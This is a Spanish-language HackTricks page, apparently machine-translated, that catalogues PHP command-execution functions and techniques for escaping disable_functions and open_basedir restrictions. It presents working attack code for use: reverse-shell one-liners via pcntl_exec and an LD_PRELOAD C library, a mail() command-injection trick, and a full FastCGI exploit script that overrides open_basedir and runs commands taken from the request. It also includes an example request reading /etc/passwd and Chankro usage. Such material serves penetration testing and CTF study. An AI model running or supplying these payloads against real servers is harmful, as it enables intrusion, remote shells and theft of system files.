PHP - Funciones 脷tiles y bypass de disable_functions/open_basedir

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Ejecuci贸n de Comandos y C贸digo PHP

Ejecuci贸n de Comandos PHP

Nota: Un p0wny-shell php webshell puede autom谩ticamente verificar y eludir la siguiente funci贸n si algunas de ellas est谩n deshabilitadas.

exec - Devuelve la 煤ltima l铆nea de la salida de los comandos

bash
echo exec("uname  -a");

passthru - Pasa la salida de comandos directamente al navegador

bash
echo passthru("uname -a");

system - Pasa la salida de los comandos directamente al navegador y devuelve la 煤ltima l铆nea

bash
echo system("uname -a");

shell_exec - Devuelve la salida de los comandos

bash
echo shell_exec("uname -a");

`` (backticks) - Igual que shell_exec()

bash
echo `uname -a`

popen - Abre un pipe de lectura o escritura a un proceso de un comando

bash
echo fread(popen("/bin/ls /", "r"), 4096);

proc_open - Similar a popen() pero con un mayor grado de control

bash
proc_close(proc_open("uname -a",array(),$something));

preg_replace

php
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

pcntl_exec - Ejecuta un programa (por defecto en PHP moderno y no tan moderno, necesitas cargar el m贸dulo pcntl.so para usar esta funci贸n)

bash
pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);

mail / mb_send_mail - Esta funci贸n se utiliza para enviar correos, pero tambi茅n se puede abusar para inyectar comandos arbitrarios dentro del par谩metro $options. Esto se debe a que la funci贸n mail de php generalmente llama al binario sendmail dentro del sistema y te permite agregar opciones adicionales. Sin embargo, no podr谩s ver la salida del comando ejecutado, por lo que se recomienda crear un script de shell que escriba la salida en un archivo, ejecutarlo usando mail y imprimir la salida:

bash
file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');

dl - Esta funci贸n se puede usar para cargar din谩micamente una extensi贸n de PHP. Esta funci贸n no siempre estar谩 presente, por lo que debes verificar si est谩 disponible antes de intentar explotarla. Lee esta p谩gina para aprender c贸mo explotar esta funci贸n.

Ejecuci贸n de C贸digo PHP

Aparte de eval, hay otras formas de ejecutar c贸digo PHP: include/require se pueden usar para la ejecuci贸n remota de c贸digo en forma de vulnerabilidades de Inclusi贸n de Archivos Locales e Inclusi贸n de Archivos Remotos.

php
${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
eval()
assert()                   //  identical to eval()
preg_replace('/.*/e',...)  // e does an eval() on the match
create_function()          // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);

$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());

// or serialize/unserialize function

disable_functions & open_basedir

Funciones deshabilitadas es la configuraci贸n que se puede configurar en archivos .ini en PHP que proh铆be el uso de las funciones indicadas. Open basedir es la configuraci贸n que indica a PHP la carpeta a la que puede acceder.
La configuraci贸n de PHP suele estar en la ruta /etc/php7/conf.d o similar.

Ambas configuraciones se pueden ver en la salida de phpinfo():

open_basedir Bypass

open_basedir configurar谩 las carpetas a las que PHP puede acceder, no podr谩s escribir/leer/ejecutar ning煤n archivo fuera de esas carpetas, pero tambi茅n ni siquiera podr谩s listar otros directorios.
Sin embargo, si de alguna manera puedes ejecutar c贸digo PHP arbitrario, puedes intentar el siguiente fragmento de c贸digos para intentar eludir la restricci贸n.

Listando dirs con glob:// bypass

En este primer ejemplo se utiliza el protocolo glob:// con alg煤n bypass de ruta:

php
<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}

Nota1: En la ruta tambi茅n puedes usar /e??/* para listar /etc/* y cualquier otra carpeta.
Nota2: Parece que parte del c贸digo est谩 duplicado, 隆pero eso es realmente necesario!
Nota3: Este ejemplo solo es 煤til para listar carpetas, no para leer archivos.

Bypass completo de open_basedir abusando de FastCGI

Si quieres aprender m谩s sobre PHP-FPM y FastCGI puedes leer la primera secci贸n de esta p谩gina.
Si php-fpm est谩 configurado, puedes abusar de 茅l para eludir completamente open_basedir:

Ten en cuenta que lo primero que necesitas hacer es encontrar d贸nde est谩 el socket unix de php-fpm. Suele estar bajo /var/run, as铆 que puedes usar el c贸digo anterior para listar el directorio y encontrarlo.
C贸digo de aqu铆.

php
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

Estos scripts se comunicar谩n con el socket unix de php-fpm (generalmente ubicado en /var/run si se usa fpm) para ejecutar c贸digo arbitrario. La configuraci贸n de open_basedir ser谩 sobrescrita por el atributo PHP_VALUE que se env铆a.
Nota c贸mo se utiliza eval para ejecutar el c贸digo PHP que env铆as dentro del par谩metro cmd.
Tambi茅n nota la l铆nea comentada 324, puedes descomentarla y el payload se conectar谩 autom谩ticamente a la URL dada y ejecutar谩 el c贸digo PHP contenido all铆.
Solo accede a http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); para obtener el contenido del archivo /etc/passwd.

warning

Puede que est茅s pensando que de la misma manera en que hemos sobrescrito la configuraci贸n de open_basedir, podemos sobrescribir disable_functions. Bueno, int茅ntalo, pero no funcionar谩, aparentemente disable_functions solo se puede configurar en un archivo de configuraci贸n .ini de php y los cambios que realices usando PHP_VALUE no ser谩n efectivos en esta configuraci贸n espec铆fica.

Bypass de disable_functions

Si logras ejecutar c贸digo PHP dentro de una m谩quina, probablemente querr谩s llevarlo al siguiente nivel y ejecutar comandos del sistema arbitrarios. En esta situaci贸n es com煤n descubrir que la mayor铆a o todas las funciones de PHP que permiten ejecutar comandos del sistema han sido deshabilitadas en disable_functions.
As铆 que, veamos c贸mo puedes eludir esta restricci贸n (si puedes).

Descubrimiento autom谩tico de bypass

Puedes usar la herramienta https://github.com/teambi0s/dfunc-bypasser y te indicar谩 qu茅 funci贸n (si hay alguna) puedes usar para eludir disable_functions.

Eludir usando otras funciones del sistema

Solo regresa al principio de esta p谩gina y verifica si alguna de las funciones que ejecutan comandos no est谩 deshabilitada y est谩 disponible en el entorno. Si encuentras solo 1 de ellas, podr谩s usarla para ejecutar comandos del sistema arbitrarios.

Bypass de LD_PRELOAD

Es bien sabido que algunas funciones en PHP como mail() van a ejecutar binarios dentro del sistema. Por lo tanto, puedes abusar de ellas usando la variable de entorno LD_PRELOAD para hacer que carguen una biblioteca arbitraria que puede ejecutar cualquier cosa.

Funciones que se pueden usar para eludir disable_functions con LD_PRELOAD

  • mail
  • mb_send_mail: Efectivo cuando el m贸dulo php-mbstring est谩 instalado.
  • imap_mail: Funciona si el m贸dulo php-imap est谩 presente.
  • libvirt_connect: Requiere el m贸dulo php-libvirt-php.
  • gnupg_init: Utilizable con el m贸dulo php-gnupg instalado.
  • new imagick(): Esta clase puede ser abusada para eludir restricciones. Las t茅cnicas de explotaci贸n detalladas se pueden encontrar en un escrito completo aqu铆.

Puedes encontrar aqu铆 el script de fuzzing que se utiliz贸 para encontrar esas funciones.

Aqu铆 hay una biblioteca que puedes compilar para abusar de la variable de entorno LD_PRELOAD:

php
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}

Bypass usando Chankro

Para abusar de esta mala configuraci贸n, puedes Chankro. Esta es una herramienta que generar谩 un exploit PHP que necesitas subir al servidor vulnerable y ejecutarlo (acceder a 茅l a trav茅s de la web).
Chankro escribir谩 dentro del disco de la v铆ctima la biblioteca y el reverse shell que deseas ejecutar y usar谩 el**LD_PRELOAD trick + la funci贸n PHP mail()** para ejecutar el reverse shell.

Ten en cuenta que para usar Chankro, mail y putenv no pueden aparecer en la lista de disable_functions.
En el siguiente ejemplo puedes ver c贸mo crear un exploit chankro para arch 64, que ejecutar谩 whoami y guardar谩 la salida en /tmp/chankro_shell.out, chankro escribir谩 la biblioteca y el payload en /tmp y el exploit final se llamar谩 bicho.php (ese es el archivo que necesitas subir al servidor de la v铆ctima):

php
#!/bin/sh
whoami > /tmp/chankro_shell.out

Si encuentras que la funci贸n mail est谩 bloqueada por funciones deshabilitadas, a煤n puedes usar la funci贸n mb_send_mail.
M谩s informaci贸n sobre esta t茅cnica y Chankro aqu铆: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

"Bypass" utilizando capacidades de PHP

Ten en cuenta que usando PHP puedes leer y escribir archivos, crear directorios y cambiar permisos.
Incluso puedes volcar bases de datos.
Quiz谩s usando PHP para enumerar la caja puedas encontrar una forma de escalar privilegios/ejecutar comandos (por ejemplo, leyendo alguna clave ssh privada).

He creado un webshell que facilita mucho realizar estas acciones (ten en cuenta que la mayor铆a de los webshells tambi茅n te ofrecer谩n estas opciones): https://github.com/carlospolop/phpwebshelllimited

Bypass dependientes de m贸dulos/versiones

Hay varias formas de eludir disable_functions si se est谩 utilizando un m贸dulo espec铆fico o explotar alguna versi贸n espec铆fica de PHP:

Herramienta Autom谩tica

El siguiente script prueba algunos de los m茅todos comentados aqu铆:
https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php

Otras funciones interesantes de PHP

Lista de funciones que aceptan callbacks

Estas funciones aceptan un par谩metro de cadena que podr铆a usarse para llamar a una funci贸n de elecci贸n del atacante. Dependiendo de la funci贸n, el atacante puede o no tener la capacidad de pasar un par谩metro. En ese caso, se podr铆a usar una funci贸n de divulgaci贸n de informaci贸n como phpinfo().

Callbacks / Callables

Siguiendo listas desde aqu铆

php
// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,

Divulgaci贸n de Informaci贸n

La mayor铆a de estas llamadas a funciones no son sumideros. Pero podr铆a ser una vulnerabilidad si alguno de los datos devueltos es visible para un atacante. Si un atacante puede ver phpinfo(), definitivamente es una vulnerabilidad.

php
phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid

Otro

php
extract    // Opens the door for register_globals attacks (see study in scarlet).
parse_str  // works like extract if only one argument is given.
putenv
ini_set
mail       // has CRLF injection in the 3rd parameter, opens the door for spam.
header     // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid

Funciones del Sistema de Archivos

Seg煤n RATS, todas las funciones del sistema de archivos en php son desagradables. Algunas de estas no parecen muy 煤tiles para el atacante. Otras son m谩s 煤tiles de lo que podr铆as pensar. Por ejemplo, si allow_url_fopen=On, entonces una URL puede ser utilizada como una ruta de archivo, por lo que una llamada a copy($_GET['s'], $_GET['d']); puede ser utilizada para subir un script PHP a cualquier lugar del sistema. Adem谩s, si un sitio es vulnerable a una solicitud enviada a trav茅s de GET, cada una de esas funciones del sistema de archivos puede ser abusada para canalizar un ataque a otro host a trav茅s de tu servidor.

Controlador de sistema de archivos abierto

php
fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct

Escribir en el sistema de archivos (parcialmente en combinaci贸n con la lectura)

php
chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng     // 2nd parameter is a path.
imagewbmp    // 2nd parameter is a path.
image2wbmp   // 2nd parameter is a path.
imagejpeg    // 2nd parameter is a path.
imagexbm     // 2nd parameter is a path.
imagegif     // 2nd parameter is a path.
imagegd      // 2nd parameter is a path.
imagegd2     // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir

Leer del sistema de archivos

php
file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks